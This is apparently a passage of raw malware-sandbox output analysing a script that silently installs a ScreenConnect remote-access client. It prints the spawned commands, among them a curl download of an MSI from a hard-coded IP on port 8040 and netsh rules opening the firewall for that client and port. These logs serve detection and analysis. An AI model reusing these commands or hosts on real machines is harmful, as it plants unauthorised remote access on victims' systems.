API (Indicator: "SetConsoleScreenBufferSize"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleActiveScreenBuffer"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "RtlGUIDFromString"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp")38:Tfa5,"cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffadd3b0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffaf5cb0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffaf6110000 "net1.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffadd3b0000 "net1.exe" loaded module "RPCRT4.DLL" at base 7ffaf5ae0000 "sc.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffadd3b0000 "sc.exe" loaded module "RPCRT4.DLL" at base 7ffaf5ae0000 "netsh.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffadd3b0000 "netsh.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 7ffaf2460000 "netsh.exe" loaded module "IFMON.DLL" at base 7ffadc600000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7ffacef20000 "netsh.exe" loaded module "MSVCRT.DLL" at base 7ffaf3cd0000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7ffad26b0000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7ffac57a0000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7ffadc2b0000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7ffad9fe0000 "netsh.exe" loaded module "FWCFG.DLL" at base 7ffad97d0000 "netsh.exe" loaded module "HNETMON.DLL" at base 7ffadc2a0000 "netsh.exe" loaded module "NETIOHLP.DLL" at base 7ffad70a0000 "netsh.exe" loaded module "NETTRACE.DLL" at base 7ffac53a0000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7ffad9fd0000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7ffac5340000 "netsh.exe" loaded module "RPCRT4.DLL" at base 7ffaf5ae0000 "netsh.exe" loaded module "NSHWFP.DLL" at base 7ffac5180000 "netsh.exe" loaded module "P2PNETSH.DLL" at base 7ffac5140000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7ffad9770000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7ffad6ad0000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7ffad26a0000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7ffac50b0000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7ffad2650000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7ffad2630000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7ffac4fa0000 "netsh.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffaf5dd0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffaf0ae0000 "netsh.exe" loaded module "WCMAPI.DLL" at base 7ffadc650000 "netsh.exe" loaded module "USERENV.DLL" at base 7ffaf2360000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\SPPC.DLL" at base 7ffae43a0000 "netsh.exe" loaded module "KERNEL32.DLL" at base 7ffaf5cb0000 "netsh.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffaf2510000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7fface540000 "netsh.exe" loaded module "OLEAUT32.DLL" at base 7ffaf3d70000 "netsh.exe" loaded module "IFMON.DLL" at base 7ffaf0840000 "netsh.exe" loaded module "MPRAPI.DLL" at base 7ffadf1c0000 "netsh.exe" loaded module "RASMONTR.DLL" at base 7ffae0050000 "netsh.exe" loaded module "AUTHFWCFG.DLL" at base 7ffad35c0000 "netsh.exe" loaded module "DHCPCMONITOR.DLL" at base 7ffaf0830000 "netsh.exe" loaded module "DOT3CFG.DLL" at base 7ffaeb120000 "netsh.exe" loaded module "FWCFG.DLL" at base 7ffae0a60000 "netsh.exe" loaded module "HNETMON.DLL" at base 7ffaf0820000 "netsh.exe" loaded module "NETTRACE.DLL" at base 7fface420000 "netsh.exe" loaded module "NSHHTTP.DLL" at base 7ffae0d20000 "netsh.exe" loaded module "NSHIPSEC.DLL" at base 7ffad26b0000 "netsh.exe" loaded module "NSHWFP.DLL" at base 7fface310000 "netsh.exe" loaded module "P2PNETSH.DLL" at base 7ffad2f70000 "netsh.exe" loaded module "RPCNSH.DLL" at base 7ffae0a50000 "netsh.exe" loaded module "WCNNETSH.DLL" at base 7ffadc2a0000 "netsh.exe" loaded module "WHHELPER.DLL" at base 7ffae02a0000 "netsh.exe" loaded module "WLANCFG.DLL" at base 7fface280000 "netsh.exe" loaded module "WSHELPER.DLL" at base 7ffae0040000 "netsh.exe" loaded module "WWANCFG.DLL" at base 7ffad9fe0000 "netsh.exe" loaded module "PEERDISTSH.DLL" at base 7fface170000 "netsh.exe" loaded module "MPRMSG.DLL" at base 7ffad9cc000039:T5b7,Observed system executable string:"%WINDIR%\System32\net.exe" [Source: 00000000-00006472-00000BC0-1183233167] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00006472-00000BC0-1188412643] Observed system executable string:"%WINDIR%\System32\where.exe" [Source: 00000000-00006472-00000BC0-1188880209] Observed system executable string:"%WINDIR%\System32\sc.exe" [Source: 00000000-00006472-00000BC0-1189360642] Observed system executable string:"%WINDIR%\System32\netsh.exe" [Source: 00000000-00006472-00000BC0-1194409411] Observed system executable string:"%WINDIR%\System32\curl.exe" [Source: 00000000-00006472-00000BC0-1235532014] Observed system executable string:"%WINDIR%\system32\net.exe" [Source: 00000000-00006472-00000C47-1331140286] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00006472-00000C47-13741485492] Observed system executable string:"%WINDIR%\system32\cmd.exe /c ver" [Source: 00000000-00006472-00000C47-13741485492] Observed system executable string:"%WINDIR%\system32\where.exe" [Source: 00000000-00006472-00000C47-14864046114] Observed system executable string:"%WINDIR%\system32\sc.exe" [Source: 00000000-00006472-00000C47-16016293554] Observed system executable string:"%WINDIR%\system32\netsh.exe" [Source: 00000000-00006472-00000C47-28142954808] Observed system executable string:"%WINDIR%\system32\curl.exe" [Source: 00000000-00006472-00000C47-126827457570]3a:T658,Process "net.exe" (UID: 00000000-00005724) was launched with new environment variables: "CONSOLE_OUTPUT="0", USERDNSDOMAIN="DESKTOP-FVVF82A", INTEGRITY_CHECK_ENABLED="1", SCRIPT_VERSION="23.0", SCRIPT_START_TIME="3:26:53.32", HEARTBEAT_ENABLED="1", ROLLBACK_ENABLED="1"" Process "net.exe" (UID: 00000000-00005724) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "net.exe" (UID: 00000000-00005724) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00000008) was launched with new environment variables: "MSI_FILE="%TEMP%\ScreenConnect_1091_58.56\ScreenConnect.ClientSetup.msi", INSTALLATION_INTEGRITY="0", PANEL_REPORTING_VERIFIED="0", SERVER_PORT="8040", INSTALLATION_SUCCESS="0", MSI_INSTALLATION_VERIFIED="0", CONFIGURATION_VALID="0", SERVER_ADDRESS="http://172.245.244.73:8040", DOWNLOAD_URL="http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest", LOG_FILE="%TEMP%\ScreenConnect_Install.log", IS_WINDOWS_10_OR_LATER="0", MAX_RETRIES="25", RETRY_COUNT="0", TEMP_DIR="%TEMP%\ScreenConnect_1091_58.56", IS_WINDOWS_11_OR_LATER="0", SERVICE_HEALTH_GOOD="0", SERVER_HOST="172.245.244.73"" Process "where.exe" (UID: 00000000-00002232) was launched with new environment variables: "WINDOWS_MAJOR="10", WINDOWS_MINOR="0"" Process "where.exe" (UID: 00000000-00002232) was launched with modified environment variables: "IS_WINDOWS_10_OR_LATER" Process "where.exe" (UID: 00000000-00000740) was launched with modified environment variables: "RETRY_COUNT"3b:T7c0,Spawned process "net.exe" with commandline "net session" (UID: 00000000-00005724) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00007200) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00000008) Spawned process "where.exe" with commandline "where msiexec" (UID: 00000000-00002232) Spawned process "where.exe" with commandline "where powershell" (UID: 00000000-00007744) Spawned process "where.exe" with commandline "where curl" (UID: 00000000-00005524) Spawned process "sc.exe" with commandline "sc query "msiserver"" (UID: 00000000-00004504) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Outb ..." (UID: 00000000-00003164), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Inbo ..." (UID: 00000000-00005776) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Serv ..." (UID: 00000000-00007248), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Netw ..." (UID: 00000000-00005336) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Outboun ..." (UID: 00000000-00000160), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Inbound ..." (UID: 00000000-00007004) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server ..." (UID: 00000000-00006852), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server ..." (UID: 00000000-00005460) Spawned process "where.exe" with commandline "where curl" (UID: 00000000-00000740) Spawned process "curl.exe" with commandline "curl -s -L -o "%TEMP%\\ScreenConnect_1091_58.56\\ScreenConnect. ..." (UID: 00000000-00004068)3c:T7c0,Spawned process "net.exe" with commandline "net session" (UID: 00000000-00005724) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00007200) Spawned process "cmd.exe" with commandline "/c ver" (UID: 00000000-00000008) Spawned process "where.exe" with commandline "where msiexec" (UID: 00000000-00002232) Spawned process "where.exe" with commandline "where powershell" (UID: 00000000-00007744) Spawned process "where.exe" with commandline "where curl" (UID: 00000000-00005524) Spawned process "sc.exe" with commandline "sc query "msiserver"" (UID: 00000000-00004504) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Outb ..." (UID: 00000000-00003164), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Inbo ..." (UID: 00000000-00005776) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Serv ..." (UID: 00000000-00007248), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Netw ..." (UID: 00000000-00005336) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Outboun ..." (UID: 00000000-00000160), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Inbound ..." (UID: 00000000-00007004) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server ..." (UID: 00000000-00006852), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server ..." (UID: 00000000-00005460) Spawned process "where.exe" with commandline "where curl" (UID: 00000000-00000740) Spawned process "curl.exe" with commandline "curl -s -L -o "%TEMP%\\ScreenConnect_1091_58.56\\ScreenConnect. ..." (UID: 00000000-00004068)3d:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")3e:T676,"cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 6472) "net.exe" queries basic process information of the "C:\Windows\System32\net.exe" (UID: 5724) "net.exe" queries basic process information of the "C:\Windows\System32\net1.exe" (UID: 5724) "net1.exe" queries basic process information of the "C:\Windows\System32\net1.exe" (UID: 7200) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 8) "where.exe" queries basic process information of the "C:\Windows\System32\where.exe" (UID: 2232) "where.exe" queries basic process information of the "C:\Windows\System32\where.exe" (UID: 7744) "where.exe" queries basic process information of the "C:\Windows\System32\where.exe" (UID: 5524) "sc.exe" queries basic process information of the "C:\Windows\System32\sc.exe" (UID: 4504) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 3164) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 5776) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 7248) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 5336) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 160) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 7004) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 6852) "netsh.exe" queries basic process information of the "C:\Windows\System32\netsh.exe" (UID: 5460)3f:Tae5,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "ENABLEEXTENSIONS"; Value: "")40:T460,Found reference to API "NetUserModalsGet" (Indicator: "NetUserModalsGet"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserModalsSet" (Indicator: "NetUserModalsSet"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetGroupGetInfo" (Indicator: "NetGroupGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetGroupSetInfo" (Indicator: "NetGroupSetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserSetInfo" (Indicator: "NetUserSetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserGetGroups" (Indicator: "NetUserGetGroups"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp")41:T587,Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Outbound"" (UID: 00000000-00003164) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Inbound"" (UID: 00000000-00005776) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Server Port"" (UID: 00000000-00007248) Process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="ScreenConnect Network Discovery"" (UID: 00000000-00005336) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Outbound" dir=out action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00000160) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Inbound" dir=in action=allow program="ScreenConnect.ClientService.exe" enable=yes profile=any" (UID: 00000000-00007004) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port" dir=out action=allow protocol=TCP localport=8040 remoteport=8040 enable=yes profile=any" (UID: 00000000-00006852) Process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="ScreenConnect Server Port In" dir=in action=allow protocol=TCP localport=8040 enable=yes profile=any" (UID: 00000000-00005460)42:T7ee,Potential IP "163.245.215.154" found in string "http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" Potential IP "163.245.215.154" found in string "set "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"" Potential IP "172.245.244.73" found in string "set "SERVER_ADDRESS=http://172.245.244.73:8040"" Potential IP "172.245.244.73" found in string "set "SERVER_HOST=172.245.244.73"" Potential IP "163.245.215.15" found in string "curl -s -L -o "%TEMP%\ScreenConnect_1091_58.56\ScreenConnect.ClientSetup.msi" "http://163.245.215.15", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest", Potential IP "172.245.244.73" found in string "SERVER_ADDRESS=http://172.245.244.73:8040", Potential IP "172.245.244.73" found in string "SERVER_HOST=172.245.244.73", Potential IP "172.245.244.73" found in string "&SERVER_ADDRESS=http://172.245.244.73:8040", Potential IP "163.245.215.154" found in string "//163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=<", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=\", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=X", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=W", "3.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest", Potential IP "163.245.215.154" found in string "DOWNLOAD_URL=http://163.245.215.154:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=n"43:T979c,Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0c:\windows\system32\netsh.exenetsh" - Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0" - Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found URL "http://172.245.244.73:8040f%[!;!k!;hmen=1w)j]/i2>x;6u&$lacmgpsp8psp8psp8psp8psp8pdpkg" - Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=guestheartbeat_enabled=1homedrive=c:homepath=\users\hapubwsinstallation_integrity=0installation_success=0integrity_check_enabled=1is_windows_10_or_later=1is_windows_11_or_later=0localappdata=c:\users\hapubws\appdata\locallogonserver=\\desktop-fvvf82alog_file=c:\users\hapubws\appdata\local\temp\screenconnect_install.logmax_retries=25msi_file=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56\screenconnect.clientsetup.msimsi_installation_verified=0number_of_processors=8nvm_home=c:\users\hapubws\appdata\roaming\nvmnvm_symlink=c:\program" - Source: "00000000-00000160.00000000.142109.F99E0000.00000004.mdmp") Found URL "http://172.245.244.73:8040server_host=172.245.244.73server_port=8040service_health_good=0sessionname=consolesslkeylogfile=c:\users\hapubws\appdata\local\temp\sslkey.txtsystemdrive=c:systemroot=c:\windowstemp=c:\users\hapubws\appdata\local\temptemp_dir=c:\users\hapubws\appdata\local\temp\screenconnect_1091_58.56tmp=c:\users\hapubws\appdata\local\tempuserdnsdomain=desktop-fvvf82auserdomain=desktop-fvvf82auserdomain_roamingprofile=desktop-fvvf82ausername=hapubwsuserprofile=c:\users\hapubwswindir=c:\windowswindows_major=10windows_minor=0ws\system32\mfc42u.hlpfc42u.ini" - Source: "00000000-00000160.00000000.142109.F99E0000.00000004.mdmp") Found URL "http://163.245.215.154:8040/bin/screenconnect.clientsetup.msi?e=access&y=x;6u&$l" - Source: "00000000-00003164.00000000.140821.8B590000.00000004.mdmp") Found URL 